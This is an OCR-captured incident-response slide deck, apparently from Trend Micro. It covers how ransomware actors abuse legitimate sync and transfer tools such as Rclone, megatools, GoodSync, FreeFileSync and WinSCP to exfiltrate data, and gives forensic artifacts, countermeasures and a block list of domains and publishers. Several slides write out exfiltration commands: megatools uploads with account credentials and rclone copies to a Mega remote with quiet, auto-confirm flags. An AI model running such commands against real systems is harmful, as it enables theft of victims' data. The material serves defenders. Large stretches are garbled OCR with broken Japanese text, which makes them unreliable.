-7k 91 b [ C¥Users¥usero¥confidentiald v | B #1b: | MUsers/Administrator/Desktop
54 userol A £ Administrator
B 30 Objects 2| Contacts
@-| | AppData i | Desktop
Application Data i Documents
confidential 1 Downloads
15| Contacts 2 Favorites
Cookies -2 Links
- B Desktop i@ Music
@[5 Documents | @ Pictures
=4 Downloads {3 Saved Games
#-7r Favorites v {2 Searches
e i EXEiE =] LT % " 41 &n ECEL EEEI
1575742 FTUT-
agenda.tet 108,200 THAF F¥.. -
B 3124925 ProcMon L. 2022/12/1018..
4533912 PTUT-Y.  2022/08/29 22
1 EOTANEER &THE 109200 /(1 4 @774 N AFYAT: 9343779 KA
$-10-/0-hl I71 N A UE-R 771 A BEE Qe
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FileZilla : Artifacts
Transfer specific files or directories

Useful Artifacts Files Registry Process/NW Others
%APPDATA%¥FileZilla¥filezilla.xml %APPDATA%¥FileZilla¥recentservers.xml

Remote IP address
2.  FTP server username and password(encoded)
3.  Local and remote path of exfiltration

(Only the latest session is recorded)

identi
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Tools Verification - FreeFileSync

P

CLI GUI

Relay Direct

Portable

FreeFileSync Install

Heht
& M=ro 9 AnyDesk A splashtop’ TeamViewer @

gRemoteUtiIities® m"CONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools =
C.) RCLONE €)MEGATOOLS E‘ﬂl‘.iﬁfr ) GoodSync &j Eﬁlezma
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FreeFileSync : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥FreeFileSync¥*
%ProgramFiles%¥FreeFileSync¥*

HKLM¥SOFTWARE¥WOW6432Node¥FreeFileSync

B LIAR IF05-
Jr{ME EEE E=FVW BSLAUA) ALTH)

JE1-5—¥HKEY_LOCAL_MACHINE¥SOFTWARE¥WOWS432Node¥FreeFileSync
v | WOws422Mode ~ || &3 ] 79

S {EE 6 2 @0BERL
u,“s:s %) CreateDesktopShortcut REG_DWORD 0x00000001 (1)

e %] CreateSendToShortcut REG_DWORD 0%00000001 (1)
FreeFileSync o
Google .u_o] CreateStartmenuEntry REG_DWORD 000000001 (1)

’ ab| |nstallDir REG_SZ C:¥Program Files¥FreeFileSync

IM Providers
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FreeFileSync : Artifacts
Transfer specific files or directories

¢ Unknown is available! 4
— _ - #=i Synchronize
Access Online Storage X =7 Twoway P
New Open.. Save  Saveas.. - s u
3.113.226.48/C./tem/sft ~ Browse
Name - Last sync L. Google Drive SFTP FTP
=) [Lost session] ath . Size —
I L]
.48 . [22 L = ! Completed with warnings
W servernameorip addshnﬂ.g Port: | 22 =
. Progress | ] Log
. . . = 558 20 sec
anentication — FreeFileSync supports synchronization . T
@ Password . . .
Okey fil with Google Drive, SFTP and FTP. . o
(O Pageant :
.lllIllllllllllllllllllll’ 7--3'“
Access timeout (in seconds): |15 - I e =] R
Orovew [kl o
Folder tems  Sizd | ¥CHempsitp-base
m Performance improvements:
o .
Parallel fle operations: <] Requires FreeFileSync Donation Edition Dlautoclose | Gose
(Connections)

Command
FreeFileSync.exe <FreeFileSync batch job configuration file>
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FreeFileSync : Artifacts

Feature: Data Transfer

Transfer specific files or directories

Useful Artifacts

Files

Registry

Others

Process/NW

%APPDATA%¥FreeFileSync¥GlobalSettings.xml
%APPDATA%¥FreeFileSync¥LastRun.ffs_gui
%APPDATA%¥FreeFileSync¥GoogleDrive¥<GoogleDrive account>.db

<OverviewPanel ShowPercentage="true” SortByCol GIobaISettlngs.me ’

<FilePanel ShowIcons="true” IconSize=' SashOttset="0" FolderPairsMax="6
<FolderHistorylLeft LastSelected "y
<Item> ata</Item>
</FolderHistory
<FolderHistoryRight
<Item>sft

" XmlFormat= 1/ >

nl version="1.0" encoding="utf-8" LastRun.ffs_gui

ync XmlType

<Left>C:\data</Left>

</Item> . . . . o
<Right>gdrive: \ | Gsmail. com</Right>

I @cnail. com</Ttem>

erHistoryRight>
T

History of selected folders and synchronization destinations

The last synchronized directory pair is

« v « 1-%- 5 john » AppData » Roaming » FreeFileSync > GoogleDrive recorded.
v Roaming ~ £ F - EE
hd FreeFileSync Mama . . - . .
! HE @gmail.comdb | When GoogleDrive is specified as the synchronization
GoogleDrive

destination, a file containing the account name is generated.
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FreeFileSync : Artifacts

Feature: Data Transfer

Transfer specific files or directories

Useful Artifacts

Files Registry

Process/NW

Others

Log File

%APPDATA%¥FreeFileSync¥Logs¥[Last session] yyyy-mm-dd hhmmss.SSS*.html

[Last session] 2023/01/05 21:56:26 .
Google Drive

/1, Completed with warnings

[Last session] 2023/01/05 22:09:51

SFTP

/1, Completed with warnings

Warnings: 1
2 (161 MB)
77 00:00:25

Items processed:
Total time:

Warnings: 1
Items processed: 5 (113 MB)
Total time: 7 00:00:18
Errors and warnings: 1.

21:56:24 /! Setting directions for first synchronization: Old fil 2.

Synchronized folders
Created (uploaded) file

first synchronization: Old files will be overwritten with newer files.

21:56:23 @ Comparison finished: 5 items found — Time elapsed: 00:00:00

22:09:49 U Comparison finished: 2 items found — Time elapsed: 00:00:00
22:09:49 ! gMmtting directions for ﬁrst synchronization: Old files will be overwritten with newer files.
22:09:51

22:09:51 tp: :
22:10:08 & Creating 2 sftp://sshuser@5

; p
‘3 140,.’C ftempfsﬁp basefmall zip”

21:56:2- Setting directions for first synchronization: Old files will be overwritten with newer fi
21:56:2 ynchromizing folder pair: Two way <->
Chdata
drive:
21:56:27 Creating filel"gdrive:\ @gmail.com\datal.zip”
21:56:29 @ Creating  gdrive:\ @gmail.com\data2.bat"
21:56:31 @ Creating file"gdrive:\ @gmail.com\data3.zip"
21:56:33 @ Creating filg]"gdrive:\ @gmail.com\datad.exe”
21:56:38 @ Creating file]"gdrive;\ mail.com\data5.zip"
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FreeFileSync : Artifacts

Feature: Data Transfer

Transfer specific files or directories

Useful Artifacts Files Registry Process/NW Others
<Sync target directory>¥sync.ffs_db
' |ﬂ = | data
m-hL  #E  EF
= v s PC » O-7)T4A7(C) » data v | O D dataiEE
i 0L 5427 (C) A zE ) =5EE = 447
$Recycle.Bin [ data.7z 11/05 22:09 7Z 774l 114,407 KB
SWINDOWS.~BT ¢ mailzip 22/12/28 12:02 E#& (zip i) 7. 50,377 KB
$WinREAgent sync.ffs_db 2023/01/05 22:10 FreeFileSync [E1E5... KB
data h

This file will be created in the synced folder
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Tools Verification — GoodSync

S
¥) GoodSync =

Install Portable

Heht
& M=ro 9 AnyDesk a\’ splashtop TeamViewer @

gRemoteUtiIities® m"CONNECTWISE' LogMe@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁli‘.iﬁfr ) GoodSync E? Eﬁlezma
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GoodSync : Artifacts

Installation Client program installation to the victim machine
Useful Artifacts Files Registry Process/NW Others

%ProgramData%¥Siber Systems¥GoodSync¥*

Log File

%LOCALAPPDATA%¥GoodSync¥InstallLicense-yymmdd-hhmm.log

sUserEmail=

2022-12-19 21:08:02 #2 SibGsAccountGetOTP: sUserIdKeyA=

sUserName=| I OTPpromptA=

1. Date/Time of successful installation
2.  Attacker’s email address

@I » [ System.evtx (EventID: 7045) |

HKLM¥System¥CurrentControlSet¥Services¥GsServer

* DisplayName: GoodSync Server
* ImagePath: “%ProgramFiles%¥Siber Systems¥GoodSync¥gs-server.exe” /service
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GoodSync : Artifacts

Feature: Data Transfer

© GoodSync - test

Job Al View Action Tools Halp

) -
+ a2 )
New Job New Group Account Sync OFF AutoRun ON

More >
v O il Jobs

C test

Apply  Cancel

€3 gstps://attacker.

< slacted.

Hame

r Bookmarks

~ [l My computer
v & Local
I usarn
30 Objects
Appoat
Applcation Data
Contacts
Cosldes
I Deskiop
confidential

GoodSyne

e

Transfer specific files or directories

~{) GoodSyne Connect.

va ®outlook.com
~ B atacker

EN New Folder
$Recycle.Bin
Documents and Settings
inetpub
Perflogs
FrogramDats

Frogram Files

& Google photos
11 Google Cloud Storage
¢ Apple icloud Drive

@ Amazon 3

33 Dropbox
B sox.com

& Backolaze B2

Remote terminals and services
where files will be exfiltrated to.

@ onebrive Office365
B¥ ™S Azure Bobs

BE Ms Azure Files

© vesn
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- o x €@ GoodSyne - test - O %
Job Al View Action Tools Help
o Seact (Brawss) Mode Folder Salact (Brens] Mode
L~ Change Folder Change Folder
ro1\...\confidential jstps://attacker.ir_s ). ) G r01\...\confidential : Ker.r, J"
! > () o - e TR - & H =7 er01\...\confidential gstps://attacker.ir_ 8
New Job New Group Account Sync OFF AutoRun ON  Analyze  Sync Local C: NTFS - Options  Auto
o - S | (@)
soadsyne/C: /Users/ Admimstratar/Deskdon/exfiltrated More > 85,25 GB, Required: Free: 100.56 GB, Total
00 128.25 GB, Required
., Click Apply to confirn the choice or click Multi-Foldar to Include/Exclude folders inside Sync folders that you s v O il obs i
> Job1 SAI(3)  ® Right (2) |[# Changes (2) #» File To Sync (2) & Views v © File/Folder Ops v
Hame o
N test ftem L Size LDate L R R Size RDate Status
r Bookmarks
CEEEEEEELET o ey 107,250 (folde) & O 2 ) (folder) Changes
I My computer sgenda.txt 1410 2022/12/1921:0529 < O = or ot
product_keys.txt 105840 2022/12/1921:0539 & O =» " " V esen

Files in the selected directory
will be copied to remote.




GoodSync : Artifacts

Transfer specific files or directories

Files Registry Process/NW Others

%LOCALAPPDATA%¥GoodSync¥GoodSync <yymmdd> -<hhmm>.log

1.  FQDN/IP address of Client(victim), Relay server, and Server(attacker)
2. Local and remote fullpaths of exfiltrated files

%LOCALAPPDATA%¥GoodSync¥server-accounts tic

com|j:44:7iJK
:|— | x=1|
0: |t=16722
=5|rr 0|

o| 8 =5 1k

4141 |A=0|B=0|
(tbN84plL KRzRNz3Gdi
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Tools Verification — MEGA TOOLS

MEGA TOOLS

Automotive Tools-Equipment Relay Direct

Install Portable

Hght
& A=ra 9> AnyDesk X splashtop  [©) Teamviewer @

gRemoteUtiIities® m"CONNECTWISE' LogMe@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
w. SCP FileZilla
C.) RCLONE ) MEGA TOOLS E'“ () GoodSync &5' E
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megatools : Artifacts
Transfer specific files or directories

“put” and “copy” option would be used for exfiltration.

e Put: Upload individual files
* Copy: Upload or download a directory tree

>megatools.exe put <file name> -u <email> -p <password>

>megatools.exe copy -local <local path> --remote <remote path> -u <email> -p <password>

* Email/password can be omitted from the command line by storing ini file on the
same directory as megatool.exe, listing email/password in plaintext.

=| megaim £ |

HLogin]
2 UDssrnams = Boutlook.com

Passvord =
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megatools : Artifacts

Feature: Data Transfer Transfer specific files or directories

Useful Artifacts Files Registry Process/NW Others

%Temp%<random>.megatools.cache

* Previous session cache (encoded)
= proof of communication attempts using megatools

<same directory as megatool.exe>¥mega.ini

=| mega.ni 3 |

T[Lmﬁn] ﬁ 1.  Username(Email) and password of attacker’s

Ussername Boutlook.com Mega account
= Passvord
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megatools : Artifacts

Feature: Data Transfer Transfer specific files or directories

Useful Artifacts Files Registry Process/NW Others

EventLog

Security.evtx (Event ID: 4688)

A A2k 4688, Microsoft Windows security auditing.

RO O AN ERREN L L,
PERSACH Y 1ok
51051 I WuserDl
TR b userl]
FHI b B
o5Fs I U 48885
B—tab $¥F 1ok
)5 I MULL SID
Fhou b =
PH b EdAfn -
o8 I 00
JotAtkeR
Filivinea I D 31b0
Lo AE  G¥lsers¥userl ¥mezatooks exe . . .
b DR S DR 1938 1.  Execution of megatools with command line
SR Mandatory Label¥Medium Mandatory Level ) 3 ) .
0G0 (40 (file/directory name might be listed)
PEERC7OP A4S C¥ilindows¥SystemIMemd exe
b n) e ] e g megatoolsexe put 2ixd
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Tools Verification - Rclone

Babuk,Black Basta,Conti

Black Cat,Cartel,Lockbit2.0/3.0
Daixin,Hive,Karakurt...etc

C)RCLONE =

Install Portable

Heht
& A=ra 9> AnyDesk X splashtop  [©) Teamviewer @

gRemoteUtiIities® m"CONNECTWISE' LogMe@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
¢ RCLONE €)MEGATOOLS Eﬁ!’;‘.iﬁﬁ {) GoodSync E? Eﬁ-ezma
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[ ]
Rclone : Artifacts
Configure rclone to sync data from one storage system to another

Support for a large number of providers (over 40)
* Amazon S3

* Dropbox

* Google Drive

* Microsoft OneDrive

* Mega

e FTP

e HTTP

« SFTP

e WebDAV
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Rclone : Artifacts

Installation GUIl installation to the victim machine

Command
rclone.exe rcd --rc-web-gui

Run this command and rclone will download
and then display the GUI in a web browser.

renthbuild.zip

< C U O 127.0.0.1:5572/#/showeonfig b @ =
¢.» RCLONE =  Dashboard
Dashboard Home / Configs
Configs
[J Explorer
No. Name Type Actions
7 Backend
1 mega mega
3 Mounts
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Rclone : Artifacts

Installation GUI installation to the victim machine
Useful Artifacts Files Registry Process/NW Others
%LOCALAPPDATA%¥rclone¥webgui
| [+ = | webgui
-  HE B
« w » john » AppData * Local * rclone » webgui » webguilliEE
rclone 2 T - EEHAE R X
webgui current 2023/01/13 21:26 J7d e T LA—-
current plugins 2023/01/13 21:27 T e FANA -
plugins L] tag 2023/01/13 21:26 T7A e 1 KB
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Rclone : Artifacts

Feature: Configuration Configure rclone to sync data from one storage system to another

Command
rclone.exe config
rclone.exe config create <Name> <Cloud Storage Type> user <User ID> pass <Password>

Useful Artifacts Files Registry Process/NW Others

Config
%APPDATA%¥rclone¥rclone.conf

f 2]

[remote]

type = mega

user = [ Goutlook. com

pass = HvghexqUb2pE4

rclone conf [#]

[sftp]
type

sttp

13. - 28

sshuser

20q3Ybk k3 xqo

host
user
pass

Running “rclone config” command creates rclone.conf.
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Rclone : Artifacts

Feature: Data Transfer Transfer specific files or directories to Cloud storage

Command

rclone.exe [copy|sync] [--config=CONFIG_FILE] <Local path> <Name>: <Remote path>
rclone.exe [copy|sync] [--config= ] <Local path> <Name>: <Remote path> -q --ignore-existing -
-auto-confirm --multi-thread-streams 12 --transfers 12

Command - Example
rclone.exe copy --config= “C: ¥data” remote: data -q --ignore-existing --auto-confirm
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Rclone : Artifacts

Feature: Data Transfer Transfer specific files or directories to Cloud storage

Useful Artifacts Files Registry Process/NW Others
EventlLog
Security.evtx (Event ID: 4688)
E ARk FOTA - AR 4688, Microsoft Windows security auditing. e
E3 S
L oA ERsENELE. )
oA EH
Lot I 0 19c0
HLOIOELE  C¥tools¥rolonesxe
b RS OIREE N1937
SEESA Mandatory Label¥High Mandatary Level
{FERE O 10 0 10RR
FERT O AE C¥Windows¥Systems Momd exe
FOEACOT A S rcloneexe copy ——config relonecont “Ci#data™ meeadata —q —ienare-existing ——auto-confirm
v
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Tools Verification - WinSCP

"
j Luna moth, MONTI
L WinSCP

CLI GUI
| Free FTP CLIENT Relay Direct
Install Portable

Target RMM tools ﬁﬁ
& A=ro € AnyDesk @\ splashtop’ [<] TeamViewer  yNC
g Remote Utilities” m CONNECTWISE LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
‘ﬂ il'l FileZilla
C.) RCLONE €)MEGATOOLS “"!’M?zﬁﬁ Q) GoodSync &~ E

FreeFileSync

i
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WinSCP : Artifacts

Installation Client program installation to the victim machine
Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥WinSCP¥* (For All User)
%USERPROFILE%¥AppData¥Local¥Programs¥WinSCP¥* (For Own)

HKLM¥SOFTWARE¥Martin Prikryl¥WinSCP 2
HKLM¥SOFTWARE¥WOWG6432Node¥Martin Prikryl¥WinSCP 2
HKCU¥Software¥Martin Prikryl¥WinSCP 2

HKCR¥winscp-*
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WinSCP : Artifacts

Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP 2¥Sessions¥*

Bu 071/ - X || B VAN IF -
: - _ — e .
or=j" i TPNPBEE EAV BREAYA ANTH)
JVF 1-5-¥HKEY_CURRENT_USER¥Software¥Martin Prikryl¥WinSCP 2¥Sessions¥SFTP
2120 R-MEER) | | IM Providers ~ || =3 &s 5
E = ] | = v | | Martin Prikryl SEE REG o T
g i) 1437 ) Lo WinSCP 2 [BLE) | _ HEME=TERL)
sshuser : Confiourati ab|HostMame REG 57 54, 5. 140
y @ ~onTguration Y| 2t | Password REG 52 A35C425B2526298]
v L Sessions S0 Ueerhy RrG o7 b I
.|| Default%20Settings =S e =t
1
Microsoft
am v By v CE RN Registered login information is stored in the registry by default
BFEOT L I AR TR ORERF 01 L EFT(E)

161 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



WinSCP : Artifacts
Transfer specific files or directories

By data - sshuser@13 18 - WinsCP - [m| “

Local Mark Files Commands Session Options Remote Help

M &2 G2 Synchronize | [l g [ 48 [Ef Queue - Transfer Settings Default - -
[ sshuser@13.113.22648 X [ New Session
RCO-MFR7 - & -F - BHEO& % Targett  ~ [ - [T ~ & m & E FindFiles | T
g5 Upload ~ [ Edit ~ 3 & [ Properties | £ New - = B New -
C¥data¥ /C/ftemp/Target1/
Name . Size Type Changed Name - Size  Changed Rights Crwner
e - Parent directory 2023/01/08 17:58:29 e 2023/01/08 17:52:29 WK -—---- 0

& Open TSR JA.. 2022/12/28 120207

[ Edit 3

[& Upload... g8 Upload...

¥ Delete F& |E§ Uploadin Background..

@) Rename F2 [§ Uploadand Delete..  F&
sIMBofa M| B CoPY i 0Bof0Bin0of0

File Custom Commands  » @ SFTP-3 0:02:40

Command
winscp.exe [(sftp | ftp|scp): //][User[: Password]@]Host [: Port][/<Path>/[Filename]]

162 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



WinSCP : Artifacts

Feature: Data Transfer Transfer specific files or directories

Useful Artifacts Files Registry Process/NW Others

HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP 2¥Configuration¥CDCache
HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP 2¥Configuration¥LastFingerprints

B VYA IF15- — | *
IJr4llF) EBEE FRV) BSIZAUA  ALTH)
JUF1-F—¥HKEY_CURRENT_USER¥SOFTWARE¥Martin Prikny¥WinSCP 2¥Configuration¥CDCache

Bookmarks ~ ||z & F-4
E?fache ab) () REG_SZ (EQEEEL
H!Stof‘: . 3 ftpuser@19; 116 REG_BINARY 41
storyrarams 84 sshuser@13 48 REG_BINARY 41
Interface
JvF1-5-¥HKEY_CURRENT USER¥SOFTWAREMartin Priknyl¥WinSCP 24Configu .
T Tierace ~ T 2z IP Address of remote server and used protocol
LastFingerprints ab] (FT) REG_S7 HEMSEEAEL
LDggl.ng I abq3, Afi22issh I REG_S7 ssh-ed25519%
Security
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Countermeasures

*  How to containment
*  How to prevention and monitoring

)

3 rd c h a pt er ;:_;-f




Outline of Countermeasures

Containment Prevention & Monitoring
Investigate clients Survey the tool usage
Determine allowed/disallowed tools

Locate abused legit tools

Control abused legit tools Control the disallowed tool

4I<I<I

Set up alert monitoring system and
operational flow

Scope the impact

I<I<I<I
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Outline of Countermeasures

 Block outbound communications is the most effective.

* Block agent execution with AppLocker could be also effective,
but will not work if the agent is already running with system privileges.

* |tisrecommended to control by "product name" or “Publisher"
of each exe and msi after uninstalling them.

Block outbound communications ©
Block application executions O

Block Installer executions O
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Supplement: Out of Scope

* Root countermeasures such as the following examples are not included
in this document

* Intrusion prevention by ransomware actors

e Public port control tied to Global IP
* Checking and controlling the publication status of 3389 in particular

e |dentification of SSL-VPN devices
e Two-factor authentication and restriction of source IP

* Identification of administrator accounts, minimization and password
strengthening

e Separation of client terminal privileges
* LAN segmentation (VLAN, unnecessary port blockage, etc.)
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Countermeasure: Containment

Containment

Investigate clients

Locate abused legit tools

Control abused legit tools

Scope the impact

I<I<I<I
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Investigate > Locate

1. Investigate and create the breach timeline
v' MFT#*, event logs, audit trail tools (e.g. Skysea,lanscope)

2. Locate abused legitimate tools installed around the time of the breach
v The following image shows an example of AnyDesk installation

ParentPath ~|FileName « | Extensii~|FileSizd + | Created0x10 il

| ¥Users¥fgub8661¥ AppData¥Roaming¥AnyDesk printer_driver 0 2022/12/27 10:39 Ll E— y-z

| ¥Users¥fgub8661¥ AppData¥Roaming¥AnyDesk¥printer_d vd.cab .cab 130790 2022/12/27 10:39 ®1§$ IR R e m—

| ¥ProgramData¥AnyDesk ad_svc.trace .trace 16071 2022/12/27 10:39 ;‘\ P

| ¥ProgramData¥Microsoft¥Windows¥Start Menu¥Program: AnyDesk 0 2022/12/27 10:39

| ProgramData¥Microsoft¥Windows¥Start Menu¥Program: AnyDesk.Ink JInk 1979 2022/12/27 10:39 kA 035 ielGon ol lHenagen

| ¥ProgramData¥Microsoft¥Windows¥Start Menu¥Program: Uninstall AnyDesk.Ink .Ink 1106 2022/12/27 10:39 =47 ZEiA

L ¥ProgramData¥Microsoft¥Windows¥Start Menu¥Program: AnyDesk.Ink .Ink 2001 2022/12/2710:39

| ¥Users¥Public¥Desktop AnyDesk.Ink .Ink 1961 2022/12/27 10:39 Y EAN AT LA AL SNE L

| ¥ProgramData¥AnyDesk service.canf .conf 3010 2022/12/2710:39 H—EAE: AnyDesk Service

| %ProgramData¥AnyDesk system.conf conf 967 2022/12/27 10:39 H—EA Fpd I “C¥Proeram Files (xB6)¥Any Desk¥AnyDesk exe” —-service
_ H-EADIESR: 10— £-F4-ER

| ¥ProgramData AnyDesk 0 2022/12/27 10:39 -pARSIADTERE G ahetE

| ¥Pragram Files (x86)¥AnyDesk AnyDesk.exe EXe 4021320 2022/12/27 10:39 H—FER PHT b LocalSystem

| ¥Pragram Files (x86) AnyDesk 0 2022/12/27 10:39

MFT System event log (ID: 7045)

*MFT: Master File Table
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Control > Scope (1/2)

1.

Control the outbound communication from the tools
by web filtering, proxy, etc.

Control the tool execution by publisher, product name

Investigate client where the tool is deployed, locating from
communication logs

Timeline investigation and interview the user to determine
whether the tool was installed intentionally or was abused
by an attacker.




Control > Scope (1/2)

1. Control the outbound communication from the tools
by web filtering, proxy, etc.

2. Control the tool execution by publisher, product name.
o

& F ANYDESK, *
Address & wildcard.anydesk.com I D o QES venfone
FotAsT JoHEERLET. A19-E TEhT g

Type FQDN . [LBIBE, TNTOEERHEH IP1 VSRR I[;ijﬂ‘;ﬂpéﬂfh\iﬁ'u
FQDN *anydesk.com i o -
Interface O any &il e
F8I7 )
Collected Resolved IPs Unresolved FQDN: "anydesk.com s re e
Bwww ™ lcom | comments AnyDesk
INTOETT
& wildcard.splashtop.con] References 1 s F ‘
& wildcard.remoteutilitiel  #* Edit EEO: [aveese ‘
THIEF) [ |
T wildcard.anydesk.com L4 18 always IPI-Ta0: BE
Controlling outbound communication (Fortigate) Controlling tool by product name (AppLocker)
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Considerations: Controlling the tool

* Applocker logs are recorded to the local event log

« =Difficult to aggregate logs, thus it is better to locate the compromised hosts
first through outbound communication, and then consider execution control

* |nstead, security products or audit trail tools normally
support log aggregation. :

Event log (AppLocker — EXE and DLL)
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Considerations: Controlling the tool

e Controlling the tolls by publisher or product name can be bypassed by
removing the signature from the tools.

* |f you afraid bypass,enable "Only elevate executables that are signed
and validated" in the security policy to control unsigned executable files.

* [tis necessary to consider the operational impact on self-developed tools, etc.

TR
Bl
TOHASFE]
£

A
£

RUOSELLUERF IS EEHITESELET. 51 5-EERALT L0/ TRRIEES
IINEBALET. ASIF-EFIEBATE . RAUNRBLBYET . ASIF-HFTNHORTEOLE
53168, TATOTEZH T LSRN ERENET .

B 07l b2 Y-
TrAIUE)  BiEA) ERN  ALTH)
e amXO=HE

ST
C:¥Program Files (x85)¥AnyDesk¥Any Desk.exe 2E(B)..
EASCETro
BT = |
SHEA(D) [anvDESK |
TPANEE: [ |

TP D=3V

5 trUT0sE

& 1-F-ERnsyYaT
A TEAUFFATVAY
v [ #F2YFh3LENE Windows De

B BEEFUTIORR]
3 #E7-7 YRR XF- - MU

5 AREE-0

AppLocker
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3 YIRITFORIBOTY -

Local Security Policy (UAC Part)

- tF1UT10BE

(89 #oh7-7 %2971 REID/ (AT -FEEFFC LAN Manager D\ 1EEREFLEL =

G Fyho-7 ¥l ELTL AP J54 T ESPASUEVE =4

g 37~ 7oy halE: ezl

14~ TaovhslE: 7 L

& 3-7-Thosrs ministrator 7717 MDD ETE: HER

[ b i b BHlcA VAT '

2~ PSS B1-T- DA bl

(& 2-v- Py hEE: & 4
L doys LUADICAFY),
-7-7 = |

s O T T T T U T -

” (W 2-7- PaostslE: EE1-F- T s RREN OV T OB SEEEEERTD



Countermeasure:Prevention&Monitoring

Prevention & Monitoring
Survey the tool usage
Determine allowed/disallowed tools

Control the disallowed tool

4I<I<I

Set up alert monitoring system and
operational flow
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Survey > Determine

e Survey the tool usage
1. Investigate communication log, audit trail logs, etc..
2. Locate who is using in what purpose
3. Interview the user if the tool is for operation or private use

* Determine allowed/disallowed tools

1. Disallowed tool must be prohibited, or users must request
for approval each time they use

2. Remove the disallowed tools which are already in use




Control > Set up

e Control the disallowed tool
* Via FW, file name, or product name
* Recommended to start from controlling via FW

* Set up alert monitoring system and operational flow

* Check if the detection is expected or not

 Date and time, user interview, etc..




Classification example

Host category
Allowed host Disallowed host

Control and monitor only Server OS

Tool usage

Tools allowed to
all the employees

Control and monitor
- communication and tool
installation & executions

Tools allowed to
part of the employees

Control and monitor communication

Disallowed tools . ) .
and tool installation & executions
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Prevention & Monitoring tips

At first, pay particular attention to RMM/SYNC tool execution
on Server OS since it is unlikely during daily operations

Utilize Web Filtering Categories (e.g. file storage services)
instead of registering disallowed URL one by one

Utilize EDR product rules or custom queries to investigate
and visualize the tool usage




Wrap up

This document refers to:

* How the legit tools are being abused in recent human
operated ransomware.

* The tools specification and useful artifacts for investigation.
 How to contain, prevent and monitor the attack.

A 4

e Please utilize Appendix information for your incident response
and monitoring!
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Appendix

«  Alist for tool control

*  Artifacts summary



A list for tool control

* Alist on next page refers to..
1. URLs to block communication between agents and the tool destinations
2. Product Name and Publisher to block execution of each the tools by AppLocker

Name wildcard.nanosystems.it _—J O-hll TyF1-49- M-
Color B Change v IY¥1-F-MER
Type = o VIkuIFD
FQDN I “nanosystems.it } L™ v [ WindDws = T2l Za0=: ﬂu@magz-ﬁm AVEBRLES. 505 EEALT. K0T/ TRNEER
" S FrEAEE I IHERRLAT. A5~ FHFBEBYET. 251 I-FOFNAORTEODE
Interface 0 any - n SRR - =X EN mrmgz-gw e ﬁahﬁmznxa
. a1 =4
Show in address list © H = AIVTH(RF-FuT/vpabsol) —
: @ B iearebe MM - |
Static route configuration (I = . s
cnnhas . s ViR bRFOEE o
Comments SupRemo - R S, ®
Ry = 8 Fhovkmly- i
2 » . a0-ml - (C¥Users¥user01¥Downloads¥GoodSync-v11-Setu|
' - o EFUF B L EN = Windows Defender 7 : 24 Publisher
E2um3 Supremo x| AEREE - T FbI-T YA RER-ie- mU - __
. - i TRTORTT
. O eEF-OmYY- =
b T 097 343 . Q . — AT O=SIBER SYSTEMS, L=FAIRFAX, C=US
|\ T-ror{mETEsEh a =y [ YIRIITOEE . o
A . o rwr—ooss Rules to control exe files = oo —
= .
a v T4 Applocker TPANEF:
o - ET . =

TrA DI -3 1

NAT LEE BT 3(S)

Product Name

A Supremo

Communication will be timed out et S ® Rules to control msi files
F= 054 SV R: Free

AppLocker settings
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A list for tool control

AnyDesk *.net.anydesk.com ANYDESK [exe] O=PHILANDRO SOFTWARE GMBH, L=STUTTGART, S=BADEN-WURTTEMBERG, C=DE
Atera * atera.com, ps.pndsn.com ATERAAGENT [msi] O=ATERA NETWORKS LTD, L=TEL AVIV-YAFO, C=IL

ConnectWise *.screenconnect.com SCREENCONNECT [exe] O=CONNECTWISE, LLC, L=TAMPA, S=FLORIDA, C=US

LogMeln * logmein.com LOGMEIN [msi] O=LOGMEIN, INC., L=BOSTON, S=MASSACHUSETTS, C=US

Ngrok *.ngrok.com NGROK AGENT [exe] O=NGROK, INC., L=SAN DIEGO, S=CALIFORNIA, C=US

Remote Utilities

* remoteutilities.com

REMOTE UTILITIES

[exe] O=REMOTE UTILITIES LLC, L=MOSCOW, C=RU

Splashtop *.splashtop.com SPLASHTOP® STREAMER [exe] O=SPLASHTOP INC., L=SAN JOSE, S=CALIFORNIA, C=US

SupRemo *.nanosystems.it SUPREMO REMOTE CONTROL [exe] O=NANOSYSTEMS S.R.L., L=ASCOLI PICENO, S=ASCOLIPICENO, C=IT

TeamViewer *.teamviewer.com TEAMVIEWER [exe] O=TEAMVIEWER GERMANY GMBH, L=GOPPINGEN, S=BADEN-WURTTEMBERG, C=DE
TightVNC - TIGHTVNC [msi] O=GLAVSOFT, 000, L=TOMSK, S=TOMSKAYA OBLAST, C=RU

Filezilla Depends on target services FILEZILLA [exe] O=TIM KOSSE, S=NORDRHEIN-WESTFALEN, C=DE

FreeFlleSync

Depends on target services

FREEFILESYNC

[exe] O=FLORIAN BAUER, S=BAVARIA, C=DE

GoodSync * goodsync.com / target services GOODSYNC [exe] O=SIBER SYSTEMS, L=FAIRFAX, C=US
Megatools *.mega.co.nz - -

Rclone Depends on target services - -

WinSCP Depends on target services WINSCP [exe] O=MARTIN PRIKRYL, L=PRAGUE, C=CZ

@) TREND:
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Artifacts Summary (RMM)

AnyDesk

AnyDesk

AnyDesk

Atera

Atera

Atera

MFT

Registry

Event Log

MFT

Registry

Event Log

%APPDATA%¥AnyDesk¥ad.trace ConnectWise
%APPDATA%¥AnyDesk¥connection_trace.txt

%APPDATA%¥AnyDesk¥*.conf

%ProgramData%¥AnyDesk¥*.conf ConnectWise
%ProgramData%¥AnyDesk¥ad_svc.trace
%Programdata%¥AnyDesk¥connection_trace.txt
%ProgramFiles%¥AnyDesk¥*
%ProgramFiles(x86)%¥AnyDesk¥*

ConnectWise

HKLM¥System¥CurrentControlSet¥Services¥AnyDesk

Security.evtx (Event ID: 4688) LogMeln
System.evtx (EventID: 7045)

%ProgramFiles%¥Atera Networks¥*
%ProgramFiles%¥ATERA Networks¥AteraAgent¥Packages¥
